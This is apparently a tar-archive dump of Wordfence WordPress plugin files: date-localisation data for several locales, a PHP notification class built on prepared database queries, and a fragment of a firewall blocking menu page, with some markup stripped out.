yyyy"},regexPatterns:{jan:/^yanvar/i,feb:/^fevral/i,mar:/^mart/i,apr:/^aprel/i,may:/^may/i,jun:/^iyun/i,jul:/^iyul/i,aug:/^avgust/i,sep:/^sentyabr/i,oct:/^oktyabr/i,nov:/^noyabr/i,dec:/^dekabr/i,sun:/^yak((.(shanba)?)?)?/i,mon:/^dsh((.(hanba)?)?)?/i,tue:/^sesh((.(anba)?)?)?/i,wed:/^chr((.(rshanba)?)?)?/i,thu:/^psh((.(shanba)?)?)?/i,fri:/^jm((.(ma)?)?)?/i,sat:/^sh((.(anba)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'vi-VN' => 'Date.CultureInfo={name:"vi-VN",englishName:"Vietnamese (Vietnam)",nativeName:"Tiếng Việt (Việt Nam)",dayNames:["Chủ Nhật","Thứ Hai","Thứ Ba","Thứ Tư","Thứ Năm","Thứ Sáu","Thứ Bảy"],abbreviatedDayNames:["CN","Hai","Ba","Tư","Năm","Sáu","Bảy"],shortestDayNames:["C","H","B","T","N","S","B"],firstLetterDayNames:["C","H","B","T","N","S","B"],monthNames:["Tháng Giêng","Tháng Hai","Tháng Ba","Tháng Tư","Tháng Năm","Tháng Sáu","Tháng Bảy","Tháng Tám","Tháng Chín","Tháng Mười","Tháng Mười Một","Tháng Mười Hai"],abbreviatedMonthNames:["Thg1","Thg2","Thg3","Thg4","Thg5","Thg6","Thg7","Thg8","Thg9","Thg10","Thg11","Thg12"],amDesignator:"SA",pmDesignator:"CH",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"dd MMMM yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^tháng giêng/i,feb:/^tháng hai/i,mar:/^tháng ba/i,apr:/^tháng tư/i,may:/^tháng năm/i,jun:/^tháng sáu/i,jul:/^tháng bảy/i,aug:/^tháng tám/i,sep:/^tháng chín/i,oct:/^tháng mười/i,nov:/^tháng mười một/i,dec:/^tháng mười hai/i,sun:/^c(n(ủ nhật)?)?/i,mon:/^h(ai(́ hai)?)?/i,tue:/^b(a(ứ ba)?)?/i,wed:/^t(ư(ứ tư)?)?/i,thu:/^n(ăm(́ năm)?)?/i,fri:/^s(áu( sáu)?)?/i,sat:/^b(ảy( bảy)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'xh-ZA' => 'Date.CultureInfo={name:"xh-ZA",englishName:"Xhosa (South Africa)",nativeName:"isiXhosa (uMzantsi Afrika)",dayNames:["iCawa","uMvulo","uLwesibini","uLwesithathu","uLwesine","uLwesihlanu","uMgqibelo"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["eyoMqungu","eyoMdumba","eyoKwindla","Tshazimpuzi","Canzibe","eyeSilimela","eyeKhala","eyeThupha","eyoMsintsi","eyeDwara","eyeNkanga","eyoMnga"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy/MM/dd",longDate:"dd MMMM yyyy",shortTime:"hh:mm:ss tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^eyomqungu/i,feb:/^eyomdumba/i,mar:/^eyokwindla/i,apr:/^tshazimpuzi/i,may:/^canzibe/i,jun:/^eyesilimela/i,jul:/^eyekhala/i,aug:/^eyethupha/i,sep:/^eyomsintsi/i,oct:/^eyedwara/i,nov:/^eyenkanga/i,dec:/^eyomnga/i,sun:/^icawa/i,mon:/^umvulo/i,tue:/^ulwesibini/i,wed:/^ulwesithathu/i,thu:/^ulwesine/i,fri:/^ulwesihlanu/i,sat:/^umgqibelo/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'zh-CN' => 'Date.CultureInfo={name:"zh-CN",englishName:"Chinese (People\'s Republic of China)",nativeName:"中文(中华人民共和国)",dayNames:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],abbreviatedDayNames:["日","一","二","三","四","五","六"],shortestDayNames:["日","一","二","三","四","五","六"],firstLetterDayNames:["日","一","二","三","四","五","六"],monthNames:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],abbreviatedMonthNames:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],amDesignator:"上午",pmDesignator:"下午",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy/M/d",longDate:"yyyy\'年\'M\'月\'d\'日\'",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"yyyy\'年\'M\'月\'d\'日\' H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"M\'月\'d\'日\'",yearMonth:"yyyy\'年\'M\'月\'"},regexPatterns:{jan:/^一月/i,feb:/^二月/i,mar:/^三月/i,apr:/^四月/i,may:/^五月/i,jun:/^六月/i,jul:/^七月/i,aug:/^八月/i,sep:/^九月/i,oct:/^十月/i,nov:/^十一月/i,dec:/^十二月/i,sun:/^星期日/i,mon:/^星期一/i,tue:/^星期二/i,wed:/^星期三/i,thu:/^星期四/i,fri:/^星期五/i,sat:/^星期六/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'zh-HK' => 'Date.CultureInfo={name:"zh-HK",englishName:"Chinese (Hong Kong S.A.R.)",nativeName:"中文(香港特别行政區)",dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Su","Mo","Tu","We","Th","Fr","Sa"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/M/yyyy",longDate:"dddd, d MMMM, yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd, d MMMM, yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^jan(uary)?/i,feb:/^feb(ruary)?/i,mar:/^mar(ch)?/i,apr:/^apr(il)?/i,may:/^may/i,jun:/^jun(e)?/i,jul:/^jul(y)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^oct(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^su(n(day)?)?/i,mon:/^mo(n(day)?)?/i,tue:/^tu(e(s(day)?)?)?/i,wed:/^we(d(nesday)?)?/i,thu:/^th(u(r(s(day)?)?)?)?/i,fri:/^fr(i(day)?)?/i,sat:/^sa(t(urday)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'zh-MO' => 'Date.CultureInfo={name:"zh-MO",englishName:"Chinese (Macao S.A.R.)",nativeName:"中文(澳門特别行政區)",dayNames:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],abbreviatedDayNames:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],shortestDayNames:["日","一","二","三","四","五","六"],firstLetterDayNames:["日","一","二","三","四","五","六"],monthNames:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],abbreviatedMonthNames:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],amDesignator:"",pmDesignator:"",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/M/yyyy",longDate:"dddd, d MMMM, yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd, d MMMM, yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^一月/i,feb:/^二月/i,mar:/^三月/i,apr:/^四月/i,may:/^五月/i,jun:/^六月/i,jul:/^七月/i,aug:/^八月/i,sep:/^九月/i,oct:/^十月/i,nov:/^十一月/i,dec:/^十二月/i,sun:/^星期日/i,mon:/^星期一/i,tue:/^星期二/i,wed:/^星期三/i,thu:/^星期四/i,fri:/^星期五/i,sat:/^星期六/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'zh-SG' => 'Date.CultureInfo={name:"zh-SG",englishName:"Chinese (Singapore)",nativeName:"中文(新加坡)",dayNames:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],abbreviatedDayNames:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],shortestDayNames:["日","一","二","三","四","五","六"],firstLetterDayNames:["日","一","二","三","四","五","六"],monthNames:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],abbreviatedMonthNames:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/M/yyyy",longDate:"dddd, d MMMM, yyyy",shortTime:"tt h:mm",longTime:"tt h:mm:ss",fullDateTime:"dddd, d MMMM, yyyy tt h:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^一月/i,feb:/^二月/i,mar:/^三月/i,apr:/^四月/i,may:/^五月/i,jun:/^六月/i,jul:/^七月/i,aug:/^八月/i,sep:/^九月/i,oct:/^十月/i,nov:/^十一月/i,dec:/^十二月/i,sun:/^星期日/i,mon:/^星期一/i,tue:/^星期二/i,wed:/^星期三/i,thu:/^星期四/i,fri:/^星期五/i,sat:/^星期六/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'zh-TW' => 'Date.CultureInfo={name:"zh-TW",englishName:"Chinese (Taiwan)",nativeName:"中文(台灣)",dayNames:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],abbreviatedDayNames:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],shortestDayNames:["日","一","二","三","四","五","六"],firstLetterDayNames:["日","一","二","三","四","五","六"],monthNames:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],abbreviatedMonthNames:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],amDesignator:"上午",pmDesignator:"下午",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy/M/d",longDate:"yyyy\'年\'M\'月\'d\'日\'",shortTime:"tt hh:mm",longTime:"tt hh:mm:ss",fullDateTime:"yyyy\'年\'M\'月\'d\'日\' tt hh:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"M\'月\'d\'日\'",yearMonth:"yyyy\'年\'M\'月\'"},regexPatterns:{jan:/^一月/i,feb:/^二月/i,mar:/^三月/i,apr:/^四月/i,may:/^五月/i,jun:/^六月/i,jul:/^七月/i,aug:/^八月/i,sep:/^九月/i,oct:/^十月/i,nov:/^十一月/i,dec:/^十二月/i,sun:/^星期日/i,mon:/^星期一/i,tue:/^星期二/i,wed:/^星期三/i,thu:/^星期四/i,fri:/^星期五/i,sat:/^星期六/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'zu-ZA' => 'Date.CultureInfo={name:"zu-ZA",englishName:"Zulu (South Africa)",nativeName:"isiZulu (iNingizimu Afrika)",dayNames:["iSonto","uMsombuluko","uLwesibili","uLwesithathu","uLwesine","uLwesihlanu","uMgqibelo"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["uJanuwari","uFebuwari","uMashi","uAprhili","uMeyi","uJuni","uJulayi","uAgaste","uSepthemba","uOkthoba","uNovemba","uDisemba"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy/MM/dd",longDate:"dd MMMM yyyy",shortTime:"hh:mm:ss tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ujanuwari/i,feb:/^ufebuwari/i,mar:/^umashi/i,apr:/^uaprhili/i,may:/^umeyi/i,jun:/^ujuni/i,jul:/^ujulayi/i,aug:/^uagaste/i,sep:/^usepthemba/i,oct:/^uokthoba/i,nov:/^unovemba/i,dec:/^udisemba/i,sun:/^isonto/i,mon:/^umsombuluko/i,tue:/^ulwesibili/i,wed:/^ulwesithathu/i,thu:/^ulwesine/i,fri:/^ulwesihlanu/i,sat:/^umgqibelo/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', ); public static function localizationForLanguage($language) { if (isset(self::$localizations[$language])) { return self::$localizations[$language]; } return false; } } wfNotification.php000064400000014644147206764270010270 0ustar00get_results($wpdb->prepare("SELECT * FROM {$table_wfNotifications} WHERE `new` = 1 AND `ctime` > %d ORDER BY `priority` ASC, `ctime` DESC", $since), ARRAY_A); $notifications = array(); foreach ($rawNotifications as $raw) { $notifications[] = new wfNotification($raw['id'], $raw['priority'], $raw['html'], $raw['category'], $raw['ctime'], json_decode($raw['links'], true), true); } return $notifications; } public static function getNotificationForID($id) { global $wpdb; $table_wfNotifications = wfDB::networkTable('wfNotifications'); $rawNotifications = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$table_wfNotifications} WHERE `id` = %s ORDER BY `priority` ASC, `ctime` DESC", $id), ARRAY_A); if (count($rawNotifications) == 1) { $raw = $rawNotifications[0]; return new wfNotification($raw['id'], $raw['priority'], $raw['html'], $raw['category'], $raw['ctime'], json_decode($raw['links'], true), true); } return null; } public static function getNotificationForCategory($category, $requireNew = true) { global $wpdb; $table_wfNotifications = wfDB::networkTable('wfNotifications'); $rawNotifications = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$table_wfNotifications} WHERE " . ($requireNew ? '`new` = 1 AND ' : '') . "`category` = %s ORDER BY `priority` ASC, `ctime` DESC LIMIT 1", $category), ARRAY_A); if (count($rawNotifications) == 1) { $raw = $rawNotifications[0]; return new wfNotification($raw['id'], $raw['priority'], $raw['html'], $raw['category'], $raw['ctime'], json_decode($raw['links'], true), true); } return null; } public static function reconcileNotificationsWithOptions() { $notification_updatesNeeded = wfConfig::get('notification_updatesNeeded'); $notification_securityAlerts = wfConfig::get('notification_securityAlerts') || !wfConfig::p(); $notification_promotions = wfConfig::get('notification_promotions') || !wfConfig::p(); $notification_blogHighlights = wfConfig::get('notification_blogHighlights') || !wfConfig::p(); $notification_productUpdates = wfConfig::get('notification_productUpdates') || !wfConfig::p(); $notification_scanStatus = wfConfig::get('notification_scanStatus'); $notifications = self::notifications(); foreach ($notifications as $n) { $category = $n->category; if (preg_match('/^release/i', $category) && !$notification_productUpdates) { $n->markAsRead(); } if (preg_match('/^digest/i', $category) && !$notification_blogHighlights) { $n->markAsRead(); } if (preg_match('/^alert/i', $category) && !$notification_securityAlerts) { $n->markAsRead(); } if (preg_match('/^promo/i', $category) && !$notification_promotions) { $n->markAsRead(); } switch ($category) { case 'wfplugin_scan': if (!$notification_scanStatus) { $n->markAsRead(); } break; case 'wfplugin_updates': if (!$notification_updatesNeeded) { $n->markAsRead(); } break; case 'wfplugin_keyconflict': default: //Allow it break; } } } public function __construct($id, $priority, $html, $category = null, $ctime = null, $links = null, $memoryOnly = false) { if ($id === null) { $id = 'site-' . wfUtils::base32_encode(pack('I', wfConfig::atomicInc('lastNotificationID'))); } if ($category === null) { $category = ''; } if ($ctime === null) { $ctime = time(); } if (!is_array($links)) { $links = array(); } $this->_id = $id; $this->_category = $category; $this->_priority = $priority; $this->_ctime = $ctime; $this->_html = $html; $this->_links = $links; global $wpdb; if (!$memoryOnly) { $linksJSON = json_encode($links); $notification_updatesNeeded = wfConfig::get('notification_updatesNeeded'); $notification_securityAlerts = wfConfig::get('notification_securityAlerts') || !wfConfig::p(); $notification_promotions = wfConfig::get('notification_promotions') || !wfConfig::p(); $notification_blogHighlights = wfConfig::get('notification_blogHighlights') || !wfConfig::p(); $notification_productUpdates = wfConfig::get('notification_productUpdates') || !wfConfig::p(); $notification_scanStatus = wfConfig::get('notification_scanStatus'); if (preg_match('/^release/i', $category) && !$notification_productUpdates) { return; } if (preg_match('/^digest/i', $category) && !$notification_blogHighlights) { return; } if (preg_match('/^alert/i', $category) && !$notification_securityAlerts) { return; } if (preg_match('/^promo/i', $category) && !$notification_promotions) { return; } switch ($category) { case 'wfplugin_scan': if (!$notification_scanStatus) { return; } break; case 'wfplugin_updates': if (!$notification_updatesNeeded) { return; } break; case 'wfplugin_keyconflict': default: //Allow it break; } $table_wfNotifications = wfDB::networkTable('wfNotifications'); if (!empty($category)) { $existing = self::getNotificationForCategory($category); if ($existing) { $wpdb->query($wpdb->prepare("UPDATE {$table_wfNotifications} SET priority = %d, ctime = %d, html = %s, links = %s WHERE id = %s", $priority, $ctime, $html, $linksJSON, $existing->id)); return; } } $wpdb->query($wpdb->prepare("INSERT IGNORE INTO {$table_wfNotifications} (id, category, priority, ctime, html, links) VALUES (%s, %s, %d, %d, %s, %s)", $id, $category, $priority, $ctime, $html, $linksJSON)); } } public function __get($key){ if ($key == 'id') { return $this->_id; } else if ($key == 'category') { return $this->_category; } else if ($key == 'priority') { return $this->_priority; } else if ($key == 'ctime') { return $this->_ctime; } else if ($key == 'html') { return $this->_html; } else if ($key == 'links') { return $this->_links; } throw new InvalidArgumentException(); } public function markAsRead() { global $wpdb; $table_wfNotifications = wfDB::networkTable('wfNotifications'); $wpdb->query($wpdb->prepare("UPDATE {$table_wfNotifications} SET `new` = 0 WHERE `id` = %s", $this->_id)); } } menu_firewall_blocking.php000064400000024377147206764270012012 0ustar00
  • render(); ?>
  • Note: Blocking is disabled when the option "Enable Rate Limiting and Advanced Blocking" is off.', 'wordfence'), array('strong'=>array())); ?>
